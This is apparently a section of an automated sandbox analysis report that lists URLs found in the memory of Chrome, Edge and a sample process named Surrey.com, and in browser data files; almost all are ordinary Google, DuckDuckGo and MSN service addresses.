Source: chrome.exe, 00000013.00000002.2820323001.0000203400D1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_defaultd
Source: chrome.exe, 00000013.00000003.2767897495.0000203401B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2827261354.0000203401B98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2767988556.0000203401B94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/ogl
Source: chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815164149.0000203400504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816890818.0000203400780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: manifest.json0.26.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.26.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.26.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.26.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.26.dr	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000013.00000002.2819077450.0000203400BA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2ation.Result
Source: chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2d
Source: chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000013.00000002.2823694505.0000203400F54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2814700305.00002034003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2824232931.00002034010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000013.00000002.2817962065.0000203400960000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819077450.0000203400BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000013.00000002.2817962065.0000203400960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: Surrey.com, 0000000D.00000002.3588082989.0000000006007000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3587128325.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819043402.0000203400B90000.00000004.00000800.00020000.00000000.sdmp, v3w47q.13.dr, v37ycb.13.dr, Web Data.26.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Surrey.com, 0000000D.00000002.3588082989.0000000006007000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3587128325.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819077450.0000203400BA8000.00000004.00000800.00020000.00000000.sdmp, v3w47q.13.dr, v37ycb.13.dr, Web Data.26.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000013.00000002.2819077450.0000203400BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab%
Source: chrome.exe, 00000013.00000002.2819077450.0000203400BA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: Surrey.com, 0000000D.00000002.3588082989.0000000006007000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3587128325.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, v3w47q.13.dr, v37ycb.13.dr, Web Data.26.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log7.26.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log7.26.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.26.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: chromecache_377.21.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_377.21.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_377.21.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_377.21.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/#
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/-
Source: chrome.exe, 00000013.00000003.2760971322.0000489800980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2723381493.000048980071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/5
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/6
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/7
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/8
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/:
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/E
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/H
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/O
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/R
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Y
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/c
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/f
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/m
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/p
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/w
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/z
Source: chrome.exe, 00000013.00000002.2833313563.0000489800920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000013.00000003.2760971322.0000489800980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2723381493.000048980071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://google-ohttp-relay-join.fastly-edge.com/&
Source: chrome.exe, 00000013.00000003.2724079938.0000489800878000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2760039106.0000203401DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2763529947.00002034018C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000013.00000003.2760971322.0000489800980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2723381493.000048980071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/bJ
Source: msedge.exe, 00000018.00000002.2904824074.00004D94025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.comu
Source: chrome.exe, 00000013.00000002.2815695014.0000203400628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: ny5pzu.13.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbmfQq%2B4pbW4pbWfpbX7ReNxR3UIG8zInwYIFIVs9e
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000013.00000002.2822040171.0000203400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815061486.00002034004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816936463.000020340079C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816977617.00002034007B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000013.00000002.2822040171.0000203400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815061486.00002034004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816936463.000020340079C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816977617.00002034007B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000013.00000002.2833256728.0000489800904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000013.00000002.2833256728.0000489800904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000013.00000003.2760971322.0000489800980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2723381493.000048980071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000013.00000002.2831196183.0000489800238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardH
Source: chrome.exe, 00000013.00000003.2760971322.0000489800980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2723381493.000048980071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000013.00000002.2833256728.0000489800904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000013.00000002.2833256728.0000489800904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000013.00000002.2814805075.000020340040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2750403309.000020340141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2752834457.0000203401364000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000013.00000003.2739414948.0000203400454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739566795.000020340113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000013.00000003.2739414948.0000203400454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739566795.000020340113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000013.00000003.2724128756.0000489800880000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000013.00000003.2723381493.000048980071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000013.00000002.2833313563.0000489800920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000013.00000002.2833313563.0000489800920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000013.00000002.2833227265.00004898008D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/
Source: chrome.exe, 00000013.00000002.2812912427.00002034000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2826363872.0000203401489000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819043402.0000203400B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000013.00000002.2814805075.000020340040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2750403309.000020340141C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2752834457.0000203401364000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000013.00000002.2815827330.00002034006A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2826363872.0000203401489000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819115981.0000203400BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819043402.0000203400B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000013.00000002.2819115981.0000203400BB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp4
Source: chrome.exe, 00000013.00000002.2812912427.00002034000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2826363872.0000203401489000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819043402.0000203400B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000013.00000002.2823694505.0000203400F54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2812912427.00002034000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2826363872.0000203401489000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2827475731.0000203401DD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819043402.0000203400B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: msedge.exe, 00000018.00000002.2904824074.00004D94025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000018.00000002.2904824074.00004D94025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: Cookies.27.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.27.dr	String found in binary or memory: https://msn.comXIDv10?
Source: chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815164149.0000203400504000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816890818.0000203400780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815854722.00002034006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000013.00000002.2815854722.00002034006B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyf
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2822847002.0000203400E8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000013.00000002.2822847002.0000203400E8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhonece
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000013.00000003.2757891406.000020340174C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email?utm_source=chrome2B
Source: chrome.exe, 00000013.00000002.2823920418.0000203401020000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000013.00000003.2736084867.0000203400FD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2817962065.0000203400960000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818005553.000020340098F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 000003.log4.26.dr	String found in binary or memory: https://ntp.msn.com
Source: QuotaManager.26.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: QuotaManager.26.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default)
Source: QuotaManager.26.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default)/
Source: 2cc80dabc69f58b6_0.26.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: msedge.exe, 00000018.00000002.2904824074.00004D94025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000013.00000003.2752212784.000020340139C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000013.00000003.2785805100.00002034017EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com/$rpc/google.internal.onegoogle.asyncdata.v1.AsyncDataService/GetAsyn
Source: chrome.exe, 00000013.00000003.2755360525.00002034002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000013.00000003.2752212784.000020340139C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000013.00000003.2752212784.000020340139C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000013.00000002.2818190866.00002034009A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2813825782.000020340027C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2820952797.0000203400D81000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2734333055.0000203400734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2822367999.0000203400E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000013.00000002.2822847002.0000203400E8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2820952797.0000203400D81000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819043402.0000203400B90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2734333055.0000203400734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2822367999.0000203400E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000013.00000002.2812849232.00002034000B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2820952797.0000203400D81000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2734333055.0000203400734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2822367999.0000203400E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000013.00000002.2812912427.00002034000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2820952797.0000203400D81000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2734333055.0000203400734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2822367999.0000203400E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
